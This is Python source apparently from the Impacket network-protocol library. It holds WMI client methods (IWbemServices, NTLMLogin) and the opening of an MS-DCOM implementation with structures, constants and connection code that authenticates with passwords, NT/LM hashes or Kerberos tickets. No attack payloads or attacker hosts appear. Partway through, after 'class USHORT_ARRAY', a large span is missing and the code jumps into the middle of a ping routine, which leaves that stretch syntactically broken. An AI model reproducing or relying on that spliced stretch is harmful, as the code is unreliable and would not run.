self._iid, uuid = self.get_iPid()) return resp['ErrorCode'] def QueryObjectSink(self): request = IWbemServices_QueryObjectSink() request['lFlags'] = 0 resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return INTERFACE(self.get_cinstance(), b''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(), target=self.get_target()) def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL): request = IWbemServices_GetObject() request['strObjectPath']['asData'] = strObjectPath request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) ppObject = IWbemClassObject( INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), oxid=self.get_oxid(), target=self.get_target()), self) if resp['ppCallResult'] != NULL: ppcallResult = IWbemCallResult( INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) else: ppcallResult = NULL return ppObject, ppcallResult def GetObjectAsync(self, strNamespace, lFlags=0, pCtx = NULL): request = IWbemServices_GetObjectAsync() request['strObjectPath']['asData'] = checkNullString(strNamespace) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def PutClass(self, pObject, lFlags=0, pCtx=NULL): request = IWbemServices_PutClass() request['pObject'] = pObject request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def PutClassAsync(self, pObject, lFlags=0, pCtx=NULL): request = IWbemServices_PutClassAsync() request['pObject'] = pObject request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def DeleteClass(self, strClass, lFlags=0, pCtx=NULL): request = IWbemServices_DeleteClass() request['strClass']['asData'] = checkNullString(strClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def DeleteClassAsync(self, strClass, lFlags=0, pCtx=NULL): request = IWbemServices_DeleteClassAsync() request['strClass']['asData'] = checkNullString(strClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def CreateClassEnum(self, strSuperClass, lFlags=0, pCtx=NULL): request = IWbemServices_CreateClassEnum() request['strSuperClass']['asData'] = checkNullString(strSuperClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def CreateClassEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): request = IWbemServices_CreateClassEnumAsync() request['strSuperClass']['asData'] = checkNullString(strSuperClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def PutInstance(self, pInst, lFlags=0, pCtx=NULL): request = IWbemServices_PutInstance() if pInst is NULL: request['pInst'] = pInst else: request['pInst']['ulCntData'] = len(pInst) request['pInst']['abData'] = list(pInst.getData()) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IWbemCallResult( INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) def PutInstanceAsync(self, pInst, lFlags=0, pCtx=NULL): request = IWbemServices_PutInstanceAsync() request['pInst'] = pInst request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def DeleteInstance(self, strObjectPath, lFlags=0, pCtx=NULL): request = IWbemServices_DeleteInstance() request['strObjectPath']['asData'] = checkNullString(strObjectPath) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IWbemCallResult( INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) def DeleteInstanceAsync(self, strObjectPath, lFlags=0, pCtx=NULL): request = IWbemServices_DeleteInstanceAsync() request['strObjectPath']['asData'] = checkNullString(strObjectPath) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def CreateInstanceEnum(self, strSuperClass, lFlags=0, pCtx=NULL): request = IWbemServices_CreateInstanceEnum() request['strSuperClass']['asData'] = strSuperClass request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return IEnumWbemClassObject( INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) def CreateInstanceEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): request = IWbemServices_CreateInstanceEnumAsync() request['strSuperClass']['asData'] = checkNullString(strSuperClass) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp #def ExecQuery(self, strQuery, lFlags=WBEM_QUERY_FLAG_TYPE.WBEM_FLAG_PROTOTYPE, pCtx=NULL): def ExecQuery(self, strQuery, lFlags=0, pCtx=NULL): request = IWbemServices_ExecQuery() request['strQueryLanguage']['asData'] = checkNullString('WQL') request['strQuery']['asData'] = checkNullString(strQuery) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IEnumWbemClassObject( INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target=self.get_target()), self) def ExecQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): request = IWbemServices_ExecQueryAsync() request['strQueryLanguage']['asData'] = checkNullString('WQL') request['strQuery']['asData'] = checkNullString(strQuery) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def ExecNotificationQuery(self, strQuery, lFlags=0, pCtx=NULL): request = IWbemServices_ExecNotificationQuery() request['strQueryLanguage']['asData'] = checkNullString('WQL') request['strQuery']['asData'] = checkNullString(strQuery) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IEnumWbemClassObject( INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), target=self.get_target()), self) def ExecNotificationQueryAsync(self, strQuery, lFlags=0, pCtx=NULL): request = IWbemServices_ExecNotificationQueryAsync() request['strQueryLanguage']['asData'] = checkNullString('WQL') request['strQuery']['asData'] = checkNullString(strQuery) request['lFlags'] = lFlags request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams = NULL): request = IWbemServices_ExecMethod() request['strObjectPath']['asData'] = checkNullString(strObjectPath) request['strMethodName']['asData'] = checkNullString(strMethodName) request['lFlags'] = lFlags request['pCtx'] = pCtx if pInParams is NULL: request['pInParams'] = pInParams else: request['pInParams']['ulCntData'] = len(pInParams) request['pInParams']['abData'] = list(pInParams.getData()) request.fields['ppCallResult'] = NULL if ppOutParams is NULL: request.fields['ppOutParams'].fields['Data'] = NULL else: request['ppOutParams']['ulCntData'] = len(ppOutParams.getData()) request['ppOutParams']['abData'] = list(ppOutParams.getData()) resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IWbemClassObject( INTERFACE(self.get_cinstance(), b''.join(resp['ppOutParams']['abData']), self.get_ipidRemUnknown(), oxid=self.get_oxid(), target=self.get_target())) def ExecMethodAsync(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL): request = IWbemServices_ExecMethodAsync() request['strObjectPath']['asData'] = checkNullString(strObjectPath) request['strMethodName']['asData'] = checkNullString(strMethodName) request['lFlags'] = lFlags request['pCtx'] = pCtx request['pInParams'] = pInParams resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) resp.dump() return resp class IWbemLevel1Login(IRemUnknown): def __init__(self, interface): IRemUnknown.__init__(self,interface) self._iid = IID_IWbemLevel1Login def EstablishPosition(self): request = IWbemLevel1Login_EstablishPosition() request['reserved1'] = NULL request['reserved2'] = 0 resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp['LocaleVersion'] def RequestChallenge(self): request = IWbemLevel1Login_RequestChallenge() request['reserved1'] = NULL request['reserved2'] = NULL resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp['reserved3'] def WBEMLogin(self): request = IWbemLevel1Login_WBEMLogin() request['reserved1'] = NULL request['reserved2'] = NULL request['reserved3'] = 0 request['reserved4'] = NULL resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return resp['reserved5'] def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx): request = IWbemLevel1Login_NTLMLogin() request['wszNetworkResource'] = checkNullString(wszNetworkResource) request['wszPreferredLocale'] = checkNullString(wszPreferredLocale) request['lFlags'] = 0 request['pCtx'] = pCtx resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) return IWbemServices( INTERFACE(self.get_cinstance(), b''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(), target=self.get_target())) if __name__ == '__main__': # Example 1 baseClass = b'xV4\x12\xd0\x00\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00\x1d\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00' #encodingUnit = ENCODING_UNIT(baseClass) #encodingUnit.dump() #encodingUnit['ObjectBlock'].printInformation() #print "LEN ", len(baseClass), len(encodingUnit) #myClass = b"xV4\x12.\x02\x00\x00\x05\x00DPRAVAT-DEV\x00\x00ROOT\x00f\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\n\x00\x00\x00\x05\xff\xff\xff\xff<\x00\x00\x80\x00Base\x00\x00Id\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x004\x00\x00\x00\x01\x00\x00\x80\x13\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x0c\x00\x00\x00\x00\x004\x00\x00\x00\x00\x80v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00s\x00\x00\x00\x802\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00" #hexdump(myClass) #encodingUnit = ENCODING_UNIT(myClass) #print "LEN ", len(myClass), len(encodingUnit) #encodingUnit.dump() #encodingUnit['ObjectBlock'].printInformation() #instanceMyClass = b"xV4\x12\xd3\x01\x00\x00\x06\x00DPRAVAT-DEV\x00\x00ROOT\x00v\x01\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x0e\x00\x00\x00\x00Base\x00\x06\x00\x00\x00\x11\x00\x00\x00\t\x00\x00\x00\x00\x08\x00\x00\x00\x16\x00\x00\x00\x04\x00\x00\x00'\x00\x00\x00.\x00\x00\x00U\x00\x00\x00\\\x00\x00\x00\x99\x00\x00\x00\xa0\x00\x00\x00\xc7\x00\x00\x00\xcb\x00\x00\x00G\xff\xff\xff\xff\xff\xff\xff\xff\xfd\x00\x00\x00\xff\xff\xff\xff\x11\x01\x00\x80\x00MyClass\x00\x00Description\x00\x00MyClass Example\x00\x00Array\x00\x13 \x00\x00\x03\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00M\x00\x00\x00\x00uint32\x00\x00Data1\x00\x08\x00\x00\x00\x01\x00\x04\x00\x00\x00\x01\x00\x00\x00'\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\x91\x00\x00\x00\x03\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x04\x00\x00\x80\x00\x0b\x00\x00\x00\xff\xff\x00string\x00\x00Data2\x00\x08\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\n\x00\x00\x80\x03\x08\x00\x00\x00\xbf\x00\x00\x00\x00string\x00\x00Id\x00\x03@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x00\x00\n\x00\x00\x80#\x08\x00\x00\x00\xf5\x00\x00\x00\x01\x00\x00\x803\x0b\x00\x00\x00\xff\xff\x00sint32\x00\x00defaultValue\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x00\x00\x00\x00 {\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x04\x00\x00\x00\x01&\x00\x00\x80\x00MyClass\x00\x03\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00StringField\x00" #encodingUnit = ENCODING_UNIT(instanceMyClass) #encodingUnit.dump() #encodingUnit['ObjectBlock'].printInformation() impacket-impacket_0_11_0/impacket/dcerpc/v5/dcomrt.py000066400000000000000000002031521446174712300226520ustar00rootroot00000000000000# Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [MS-DCOM] Interface implementation # # Best way to learn how to use these calls is to grab the protocol standard # so you understand what the call does, and then read the test case located # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC # # Some calls have helper functions, which makes it even easier to use. # They are located at the end of this file. # Helper functions start with "h". # There are test cases for them too. # # Author: # Alberto Solino (@agsolino) # # ToDo: # [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine # for each call, making it slower. # [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if # not used, returning RPC_E_DISCONNECTED # from __future__ import division from __future__ import print_function import socket from struct import pack from threading import Timer, current_thread from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \ UUID, WIDESTR, NULL from impacket import hresult_errors, LOG from impacket.uuid import string_to_bin, uuidtup_to_bin, generate from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE, \ RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, DCERPCException from impacket.dcerpc.v5 import transport CLSID_ActivationContextInfo = string_to_bin('000001a5-0000-0000-c000-000000000046') CLSID_ActivationPropertiesIn = string_to_bin('00000338-0000-0000-c000-000000000046') CLSID_ActivationPropertiesOut = string_to_bin('00000339-0000-0000-c000-000000000046') CLSID_CONTEXT_EXTENSION = string_to_bin('00000334-0000-0000-c000-000000000046') CLSID_ContextMarshaler = string_to_bin('0000033b-0000-0000-c000-000000000046') CLSID_ERROR_EXTENSION = string_to_bin('0000031c-0000-0000-c000-000000000046') CLSID_ErrorObject = string_to_bin('0000031b-0000-0000-c000-000000000046') CLSID_InstanceInfo = string_to_bin('000001ad-0000-0000-c000-000000000046') CLSID_InstantiationInfo = string_to_bin('000001ab-0000-0000-c000-000000000046') CLSID_PropsOutInfo = string_to_bin('00000339-0000-0000-c000-000000000046') CLSID_ScmReplyInfo = string_to_bin('000001b6-0000-0000-c000-000000000046') CLSID_ScmRequestInfo = string_to_bin('000001aa-0000-0000-c000-000000000046') CLSID_SecurityInfo = string_to_bin('000001a6-0000-0000-c000-000000000046') CLSID_ServerLocationInfo = string_to_bin('000001a4-0000-0000-c000-000000000046') CLSID_SpecialSystemProperties = string_to_bin('000001b9-0000-0000-c000-000000000046') IID_IActivation = uuidtup_to_bin(('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57','0.0')) IID_IActivationPropertiesIn = uuidtup_to_bin(('000001A2-0000-0000-C000-000000000046','0.0')) IID_IActivationPropertiesOut = uuidtup_to_bin(('000001A3-0000-0000-C000-000000000046','0.0')) IID_IContext = uuidtup_to_bin(('000001c0-0000-0000-C000-000000000046','0.0')) IID_IObjectExporter = uuidtup_to_bin(('99fcfec4-5260-101b-bbcb-00aa0021347a','0.0')) IID_IRemoteSCMActivator = uuidtup_to_bin(('000001A0-0000-0000-C000-000000000046','0.0')) IID_IRemUnknown = uuidtup_to_bin(('00000131-0000-0000-C000-000000000046','0.0')) IID_IRemUnknown2 = uuidtup_to_bin(('00000143-0000-0000-C000-000000000046','0.0')) IID_IUnknown = uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0')) IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0')) class DCERPCSessionError(DCERPCException): def __init__(self, error_string=None, error_code=None, packet=None): DCERPCException.__init__(self, error_string, error_code, packet) def __str__( self ): if self.error_code in hresult_errors.ERROR_MESSAGES: error_msg_short = hresult_errors.ERROR_MESSAGES[self.error_code][0] error_msg_verbose = hresult_errors.ERROR_MESSAGES[self.error_code][1] return 'DCOM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) else: return 'DCOM SessionError: unknown error code: 0x%x' % self.error_code ################################################################################ # CONSTANTS ################################################################################ # 2.2.1 OID OID = ULONGLONG class OID_ARRAY(NDRUniConformantArray): item = OID class POID_ARRAY(NDRPOINTER): referent = ( ('Data', OID_ARRAY), ) # 2.2.2 SETID SETID = ULONGLONG # 2.2.4 error_status_t error_status_t = ULONG # 2.2.6 CID CID = GUID # 2.2.7 CLSID CLSID = GUID # 2.2.8 IID IID = GUID PIID = PGUID # 2.2.9 IPID IPID = GUID # 2.2.10 OXID OXID = ULONGLONG # 2.2.18 OBJREF FLAGS_OBJREF_STANDARD = 0x00000001 FLAGS_OBJREF_HANDLER = 0x00000002 FLAGS_OBJREF_CUSTOM = 0x00000004 FLAGS_OBJREF_EXTENDED = 0x00000008 # 2.2.18.1 STDOBJREF SORF_NOPING = 0x00001000 # 2.2.20 Context CTXMSHLFLAGS_BYVAL = 0x00000002 # 2.2.20.1 PROPMARSHALHEADER CPFLAG_PROPAGATE = 0x00000001 CPFLAG_EXPOSE = 0x00000002 CPFLAG_ENVOY = 0x00000004 # 2.2.22.2.1 InstantiationInfoData ACTVFLAGS_DISABLE_AAA = 0x00000002 ACTVFLAGS_ACTIVATE_32_BIT_SERVER = 0x00000004 ACTVFLAGS_ACTIVATE_64_BIT_SERVER = 0x00000008 ACTVFLAGS_NO_FAILURE_LOG = 0x00000020 # 2.2.22.2.2 SpecialPropertiesData SPD_FLAG_USE_CONSOLE_SESSION = 0x00000001 # 2.2.28.1 IDL Range Constants MAX_REQUESTED_INTERFACES = 0x8000 MAX_REQUESTED_PROTSEQS = 0x8000 MIN_ACTPROP_LIMIT = 1 MAX_ACTPROP_LIMIT = 10 ################################################################################ # STRUCTURES ################################################################################ class handle_t(NDRSTRUCT): structure = ( ('context_handle_attributes',ULONG), ('context_handle_uuid',UUID), ) def __init__(self, data=None, isNDR64=False): NDRSTRUCT.__init__(self, data, isNDR64) self['context_handle_uuid'] = b'\x00'*16 def isNull(self): return self['context_handle_uuid'] == b'\x00'*16 # 2.2.11 COMVERSION class COMVERSION(NDRSTRUCT): default_major_version = 5 default_minor_version = 7 structure = ( ('MajorVersion',USHORT), ('MinorVersion',USHORT), ) @classmethod def set_default_version(cls, major_version=None, minor_version=None): # Set default dcom version for all new COMVERSION objects. if major_version is not None: cls.default_major_version = major_version if minor_version is not None: cls.default_minor_version = minor_version def __init__(self, data = None,isNDR64 = False): NDRSTRUCT.__init__(self, data, isNDR64) if data is None: self['MajorVersion'] = self.default_major_version self['MinorVersion'] = self.default_minor_version class PCOMVERSION(NDRPOINTER): referent = ( ('Data', COMVERSION), ) # 2.2.13.1 ORPC_EXTENT # This MUST contain an array of bytes that form the extent data. # The array size MUST be a multiple of 8 for alignment reasons. class BYTE_ARRAY(NDRUniConformantArray): item = 'c' class ORPC_EXTENT(NDRSTRUCT): structure = ( ('id',GUID), ('size',ULONG), ('data',BYTE_ARRAY), ) # 2.2.13.2 ORPC_EXTENT_ARRAY # ThisMUSTbeanarrayofORPC_EXTENTs.ThearraysizeMUSTbeamultipleof2for alignment reasons. class PORPC_EXTENT(NDRPOINTER): referent = ( ('Data', ORPC_EXTENT), ) class EXTENT_ARRAY(NDRUniConformantArray): item = PORPC_EXTENT class PEXTENT_ARRAY(NDRPOINTER): referent = ( ('Data', EXTENT_ARRAY), ) class ORPC_EXTENT_ARRAY(NDRSTRUCT): structure = ( ('size',ULONG), ('reserved',ULONG), ('extent',PEXTENT_ARRAY), ) class PORPC_EXTENT_ARRAY(NDRPOINTER): referent = ( ('Data', ORPC_EXTENT_ARRAY), ) # 2.2.13.3 ORPCTHIS class ORPCTHIS(NDRSTRUCT): structure = ( ('version',COMVERSION), ('flags',ULONG), ('reserved1',ULONG), ('cid',CID), ('extensions',PORPC_EXTENT_ARRAY), ) # 2.2.13.4 ORPCTHAT class ORPCTHAT(NDRSTRUCT): structure = ( ('flags',ULONG), ('extensions',PORPC_EXTENT_ARRAY), ) # 2.2.14 MInterfacePointer class MInterfacePointer(NDRSTRUCT): structure = ( ('ulCntData',ULONG), ('abData',BYTE_ARRAY), ) # 2.2.15 PMInterfacePointerInternal class PMInterfacePointerInternal(NDRPOINTER): referent = ( ('Data', MInterfacePointer), ) # 2.2.16 PMInterfacePointer class PMInterfacePointer(NDRPOINTER): referent = ( ('Data', MInterfacePointer), ) class PPMInterfacePointer(NDRPOINTER): referent = ( ('Data', PMInterfacePointer), ) # 2.2.18 OBJREF class OBJREF(NDRSTRUCT): commonHdr = ( ('signature',ULONG), ('flags',ULONG), ('iid',GUID), ) def __init__(self, data = None,isNDR64 = False): NDRSTRUCT.__init__(self, data, isNDR64) if data is None: self['signature'] = 0x574F454D # 2.2.18.1 STDOBJREF class STDOBJREF(NDRSTRUCT): structure = ( ('flags',ULONG), ('cPublicRefs',ULONG), ('oxid',OXID), ('oid',OID), ('ipid',IPID), ) # 2.2.18.4 OBJREF_STANDARD class OBJREF_STANDARD(OBJREF): structure = ( ('std',STDOBJREF), ('saResAddr',':'), ) def __init__(self, data = None,isNDR64 = False): OBJREF.__init__(self, data, isNDR64) if data is None: self['flags'] = FLAGS_OBJREF_STANDARD # 2.2.18.5 OBJREF_HANDLER class OBJREF_HANDLER(OBJREF): structure = ( ('std',STDOBJREF), ('clsid',CLSID), ('saResAddr',':'), ) def __init__(self, data = None,isNDR64 = False): OBJREF.__init__(self, data, isNDR64) if data is None: self['flags'] = FLAGS_OBJREF_HANDLER # 2.2.18.6 OBJREF_CUSTOM class OBJREF_CUSTOM(OBJREF): structure = ( ('clsid',CLSID), ('cbExtension',ULONG), ('ObjectReferenceSize',ULONG), ('pObjectData',':'), ) def __init__(self, data = None,isNDR64 = False): OBJREF.__init__(self, data, isNDR64) if data is None: self['flags'] = FLAGS_OBJREF_CUSTOM # 2.2.18.8 DATAELEMENT class DATAELEMENT(NDRSTRUCT): structure = ( ('dataID',GUID), ('cbSize',ULONG), ('cbRounded',ULONG), ('Data',':'), ) class DUALSTRINGARRAYPACKED(NDRSTRUCT): structure = ( ('wNumEntries',USHORT), ('wSecurityOffset',USHORT), ('aStringArray',':'), ) def getDataLen(self, data, offset=0): return self['wNumEntries']*2 # 2.2.18.7 OBJREF_EXTENDED class OBJREF_EXTENDED(OBJREF): structure = ( ('std',STDOBJREF), ('Signature1',ULONG), ('saResAddr',DUALSTRINGARRAYPACKED), ('nElms',ULONG), ('Signature2',ULONG), ('ElmArray',DATAELEMENT), ) def __init__(self, data = None, isNDR64 = False): OBJREF.__init__(self, data, isNDR64) if data is None: self['flags'] = FLAGS_OBJREF_EXTENDED self['Signature1'] = 0x4E535956 self['Signature1'] = 0x4E535956 self['nElms'] = 0x4E535956 # 2.2.19 DUALSTRINGARRAY class USHORT_ARRAY(NDRUniConformantArray): item = ' 0 or len(deletedOids) > 0: if 'setid' in DCOMConnection.OID_SET[target]: setId = DCOMConnection.OID_SET[target]['setid'] else: setId = 0 resp = objExporter.ComplexPing(setId, 0, addedOids, deletedOids) DCOMConnection.OID_SET[target]['oids'] -= deletedOids DCOMConnection.OID_SET[target]['oids'] |= addedOids DCOMConnection.OID_SET[target]['setid'] = resp['pSetId'] else: objExporter.SimplePing(DCOMConnection.OID_SET[target]['setid']) except Exception as e: # There might be exceptions when sending packets # We should try to continue tho. LOG.error(str(e)) pass DCOMConnection.PINGTIMER = Timer(120,DCOMConnection.pingServer) try: DCOMConnection.PINGTIMER.start() except Exception as e: if str(e).find('threads can only be started once') < 0: raise e def initTimer(self): if self.__oxidResolver is True: if DCOMConnection.PINGTIMER is None: DCOMConnection.PINGTIMER = Timer(120, DCOMConnection.pingServer) try: DCOMConnection.PINGTIMER.start() except Exception as e: if str(e).find('threads can only be started once') < 0: raise e def initConnection(self): stringBinding = r'ncacn_ip_tcp:%s' % self.__target rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials') and len(self.__userName) >=0: # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__userName, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, self.__TGT, self.__TGS) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__portmap = rpctransport.get_dce_rpc() self.__portmap.set_auth_level(self.__authLevel) if self.__doKerberos is True: self.__portmap.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__portmap.connect() DCOMConnection.PORTMAPS[self.__target] = self.__portmap def CoCreateInstanceEx(self, clsid, iid): scm = IRemoteSCMActivator(self.__portmap) iInterface = scm.RemoteCreateInstance(clsid, iid) self.initTimer() return iInterface def get_dce_rpc(self): return DCOMConnection.PORTMAPS[self.__target] def disconnect(self): if DCOMConnection.PINGTIMER is not None: del(DCOMConnection.PORTMAPS[self.__target]) del(DCOMConnection.OID_SET[self.__target]) if len(DCOMConnection.PORTMAPS) == 0: # This means there are no more clients using this object, kill it DCOMConnection.PINGTIMER.cancel() DCOMConnection.PINGTIMER.join() DCOMConnection.PINGTIMER = None if self.__target in INTERFACE.CONNECTIONS: del(INTERFACE.CONNECTIONS[self.__target][current_thread().name]) self.__portmap.disconnect() #print INTERFACE.CONNECTIONS class CLASS_INSTANCE: def __init__(self, ORPCthis, stringBinding): self.__stringBindings = stringBinding self.__ORPCthis = ORPCthis self.__authType = RPC_C_AUTHN_WINNT self.__authLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY def get_ORPCthis(self): return self.__ORPCthis def get_string_bindings(self): return self.__stringBindings def get_auth_level(self): if RPC_C_AUTHN_LEVEL_NONE < self.__authLevel < RPC_C_AUTHN_LEVEL_PKT_PRIVACY: if self.__authType == RPC_C_AUTHN_WINNT: return RPC_C_AUTHN_LEVEL_PKT_INTEGRITY else: return 